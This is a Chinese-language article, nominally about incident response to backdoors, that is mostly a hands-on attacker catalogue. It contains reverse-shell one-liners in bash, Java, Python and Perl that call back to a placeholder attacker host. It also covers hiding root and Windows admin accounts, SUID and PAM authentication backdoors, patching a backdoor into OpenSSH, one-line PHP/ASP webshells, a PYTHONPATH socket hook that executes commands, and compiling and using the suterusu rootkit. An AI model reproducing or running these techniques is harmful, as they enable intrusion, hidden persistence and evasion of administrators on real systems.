安全应急之后门木马
后门是一种绕过认证或系统加密的方法,开发人员会出于某原因,可能为自己的程序构建后门程序。例如,为了提供简单的维护,开发人员引入了一个后门,可以恢复设备厂商的默认密码;同时攻击者也会将后门种植到有漏洞的服务器来接管服务器,执行攻击和上传恶意payload。
后门简介
反弹 SHELL 技术
当目标系统为 LINUX 时,反弹 SHELL 在漏洞证明、利用中是一个有效的手段。可在目标机器执行 bash -i >& /dev/tcp/[攻击者IP]/[攻击者端口] 0>&1
反弹 SHELL。

bash -i
用于创建一个交互式 BASH;>& /dev/tcp/[攻击者IP]/[攻击者端口]
建立 TCP 连接,将标准输出和错误输出重定向到 TCP 连接;0>&1
用于从 TCP 连接获取输入并传入到 BASH。
如下所示为一个 BASH 语言实现的反弹 SHELL 示例,攻击者外网机器执行命令nc -l [攻击端口]
,获取 TCP 连接后可直接执行命令

反弹 SHELL 可在目标机器使用 NC 监听端口,可利用常规服务端口 80、8080 等用来绕过可能存在的外部防火墙的网络控制策略。
BASH 语言
0<&196;exec 196<>/dev/tcp/[攻击者IP]/[攻击者端口]; sh <&196 >&196 2>&196
JAVA 语言
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[攻击者IP]/[攻击者端口];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
PYTHON 语言
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻击者IP]",[攻击者端口]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PERL 语言
perl -e 'use Socket;$i="[攻击者IP]";$p=[攻击者端口];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
反弹 SHELL 持久化
如下图,根据 MITRE 攻击矩阵,反弹 SHELL 可持久化在.bash_profile
、.bashrc
、启动服务、浏览器插件、HOOK 操作、登录启动脚本等系统功能模块中。

隐藏系统用户
LINUX 隐藏高权限账号
LINUX 中隐藏高全权限用户可直接编辑 /etc/passwd
文件,将文件中指定用户 UID 和 GID 值修改为 0

如下所示,可直接隐藏用户权限为 root 权限和用户组

WINDOWS 用户隐藏
修改注册表 HKEY_LOCAL_MACHINE\SAM\SAM\
权限为管理员完全控制,如下图所示

新建特殊账户,无法通过 net user
查看到用户

用户名以 $
结尾的通过 net user
无法查看到指定用户,但可在控制面板查看用户

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
中查找新建用户 xf0rk$
默认类型为 0x3ea
,将注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\xf0rk$
导出为 1.reg

在注册表查找 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA
导出为 2.reg
,将 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
导出为 3.reg
,将注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA
下键 F
的值替换为 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
下键 F
的值,如下图所示
命令行删除特殊账户 net user xf0rk$ /del
,导入 1.reg
、2.reg
注册表文件,此时无法通过 net user
查看该账户,也无法在控制面板中看到该账户,但可通过 net user xf0rk$
查看用户信息

SUID 权限隐藏
SUID 是 Linux 的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限,如果拥有 SUID 权限,那么就可以利用系统中的二进制文件和工具来进行 ROOT 提权。
如下文件名为 ...
( 可通过创建 ...
与 .
、..
相近的文件名来干扰管理员排查后门 ),权限为 -rwsr-xr-x
,说明普通用户执行该文件时可获得文件拥有者 root 权限。以当前用户 xf0rk 执行命令 useradd test
发现用户权限过低无法创建用户,通过执行 ...
文件提权后执行 useradd test
成功创建用户。

LINUX PAM 后门
LINUX PAM 简介
Linux-PAM (linux可插入认证模块)是一套共享库,使本地系统管理员可以方便配置程序的认证方式,即可不用重新编译一个包含 PAM 功能的应用程序就改变它使用的认证机制。PAM使用配置 /etc/pam.d/ 下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security 下的模块。
PAM 配置可分为四个参数 模块类型 控制标记 模块路径 模块参数
,例如 session required pam_selinux.so open

PAM 模块类型包含 auth(认证管理)、account(账号管理)、session(会话管理)、password(密码管理)四种:
模块类型 | 说明 |
---|---|
auth | 用户身份识别,如提示输入密码、判断是否为 root 等 |
account | 对账号的各项属性进行检查,如是否允许登录、是否达到最大用户数、判断 root 用户是否允许终端登录等 |
session | 定义用户登录前及用户退出后所需要进行的操作,如登录连接信息、用户数据打开、挂载文件系统等 |
password | 使用用户信息来更新,如修改用户密码 |
PAM 的控制标记来处理和判断各模块的返回值
控制标记 | 说明 |
---|---|
required | 若成功,继续检查下一个模块并取决于其他模块;若失败,则停止并返回失败 |
requisite | 若成功,继续检查下一个模块并取决于其他模块;若失败,继续检查下一个模块,并返回失败 |
sufficient | 若成功,则停止并返回成功;若失败,继续检查下一个模块并取决于其他模块 |
optional | 若成功,则继续检查下一个并取决于其他模块,若失败,继续检查下一个模块,并取决于其他模块 |
include | 无关,执行包含文件中的验证,取决于其他模块 |
PAM 模块路径指要调用的模块位置,同一个模块可以出现在不同的类型中,不同的类型所执行的操作都不相同,模块参数即传递给模块的参数,参数之间用空格分隔开。
PAM LISTFILE 模块后门
PAM 中模块 pam_listfile.so,允许保存在/tmp/users 中的用户登录,其中 users 文件中的用户名为 root
即只要是 root 用户(sufficient 控制标记,匹配存在则可直接返回成功)均可以直接登录。

PAM ROOTOK 模块后门
PAM 中模块 rootok.so,使 uid 为 0 的用户( root )能够直接通过认证而不用输入密码,系统文件 /etc/pam.d/su
中默认存在 auth sufficient pam_rootok.so
即 root 用户可以不输密码执行 su 命令。当通过将 sshd 软链到文件名为 su 的文件时,执行 su 文件会加载 pam_rootok.so 模块,此时若使用 root 用户登录,则可免密直接登录成功。

root 用户可任意密码可直接登录系统,执行任意命令

LINUX SSH 后门
LINUX SSH 后门通过编译 PATCH 到原 SSH 应用,来生成 SSH 后门 下载文件,具体步骤如下所示
tar zxvf openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/ 复制patch后门文件到正常openssh里面
patch < sshbd5.9p1.diff
修改后门密码和文件记录,如下图所示

修改版本为目标机器 SSH 版本,字段为 SSH_VERSION
[email protected] openssh-5.9p1# vim version.h
#define SSH_VERSION "OpenSSH_5.3p1"
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE
安装编译依赖包并编译安装
yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
yum install -y zlib zlib-devel // http://sourceforge.net/projects/libpng/files/zlib/1.2.3/zlib-1.2.3.tar.gz/download
make && make install
重启 SSH 服务即可,service sshd restart
WebShell 后门
WebShell 是 Web 服务器上的管理工具,可以对 Web 服务器进行网站管理、服务器管理,可管理服务器文件、查看数据库等。攻击者可利用 Web 漏洞上传 WenShell 到 Web 服务器的页面目录下,通过直接访问上传文件进行入侵、保留权限等。
WebShell 根据功能分为大马、小马,小马通常指一句话木马,如下所示
PHP <?php @eval($_POST['pass']);?>
ASP <%eval request("pass")%>
ASP.NET <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
通过中国菜刀连接到已成功上传的小马,可进行服务器文件管理,如下为操作文件和执行命令


第三方依赖库后门
如下图,在 Python 默认 string 库中嵌入式恶意代码,代码 import string 操作时可触发一段恶意代码

隐藏在 PYTHONPATH 的后门处于 Python 解释器和 OS/Kernel 之间,通常通过 import x 查找顺序为:当前目录 -> PYTHONPATH 环境变量 -> 默认 Python 库目录,如下图所示

基于 Django 框架开发的测试网站,其 urls.py 文件中路由配置如下所示,其仅包含根目录和admin目录两个目录
from django.conf.urls import url
from django.contrib import admin
urlpatterns = [
url(r'^admin/', admin.site.urls),
]
如下代码,利用 PYTHONPATH 重载了socket.py 模块,实现访问所有 URL 链接添加 cmd 参数,则可直接执行命令
def _hook_readline(self, *args, **kwargs):
retval = object.__getattribute__(self, 'readline')(*args, **kwargs)
if retval.startswith('GET /?cmd='):
(verb, url, version) = retval.split(' ')
self.__outputs__.put(os.popen(urllib.unquote_plus(url[6:])).read())
return retval
如下为通过引入 ?cmd=ifconfig
来执行 ifcnfig
命令

ROOTKIT 后门
ROOTKIT 是使不法用户具有系统超级管理权限,并能隐藏自身入侵系统的信息,来实现长期权限控制的工具集。ROOKIT 根据工作层次可分为用户级、内核级、芯片虚拟化级三层,用户级可划分为对 Linux 输出结果进行封装和替换 Linux 命令型的 ROOKIT;内核级有效劫持系统调用输出的 ROOKIT,包括利用 LKM 动态修改内核、替换 SYS_CALL 实现劫持、工作在 VFS 利用 Hook 文件系统的 file_open 操作;芯片级即集成到 Intel 或 AMD 芯片中的 ROOKIT。

下面将展示如何编译和使用 suterusu ROOKIT 下载地址 。
[[email protected] suterusu]# yum install kernel-devel
Failed to set locale, defaulting to C
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirrors.163.com
* epel: fedora.cs.nctu.edu.tw
* extras: mirrors.163.com
* updates: mirrors.cn99.com
Package kernel-devel-3.10.0-862.14.4.el7.x86_64 already installed and latest version
Nothing to do
[[email protected] suterusu]# ls /usr/src/kernels/3.10.0-862.14.4.el7.x86_64/
Kconfig Makefile.qlock System.map block drivers fs init kernel mm samples security tools virt
Makefile Module.symvers arch crypto firmware include ipc lib net scripts sound usr vmlinux.id
[[email protected] suterusu]#
编译内核模块
[[email protected] suterusu]# make linux-x86 KDIR=/usr/src/kernels/3.10.0-862.14.4.el7.x86_64/
make ARCH=x86 EXTRA_CFLAGS="-D_CONFIG_X86_ " -C /usr/src/kernels/3.10.0-862.14.4.el7.x86_64/ M=/tmp/suterusu modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-862.14.4.el7.x86_64'
CC [M] /tmp/suterusu/main.o
CC [M] /tmp/suterusu/util.o
CC [M] /tmp/suterusu/module.o
LD [M] /tmp/suterusu/suterusu.o
Building modules, stage 2.
MODPOST 1 modules
CC /tmp/suterusu/suterusu.mod.o
LD [M] /tmp/suterusu/suterusu.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-862.14.4.el7.x86_64'
[[email protected] suterusu]# ls |grep suterusu.ko
suterusu.ko
[[email protected] suterusu]#
安装内核模块
insmod suterusu.ko
编译用户态应用
[[email protected] suterusu]# gcc sock.c -o sock
sock.c: In function 'main':
sock.c:205:40: warning: incompatible implicit declaration of built-in function 'strlen' [enabled by default]
rk_file_args.namelen = strlen(name);
^
sock.c:220:40: warning: incompatible implicit declaration of built-in function 'strlen' [enabled by default]
rk_file_args.namelen = strlen(name);
^
[[email protected] suterusu]# ls |grep sock
sock
用户态命令参数
./sock 0 获取 ROOT 权限
./sock 1 [PID] 隐藏指定 PID 应用
./sock 2 [PID] 显示指定 PID 应用
./sock 3 [PORT] 隐藏指定 PORT
./sock 4 [PORT] 显示指定 PORT
./sock 11 [name] 隐藏指定文件名或文件夹
./sock 12 [name] 显示指定文件名或文件夹
…… 更多命令参数请参考官方项目文档
如下所示,进行隐藏端口、隐藏进程演示
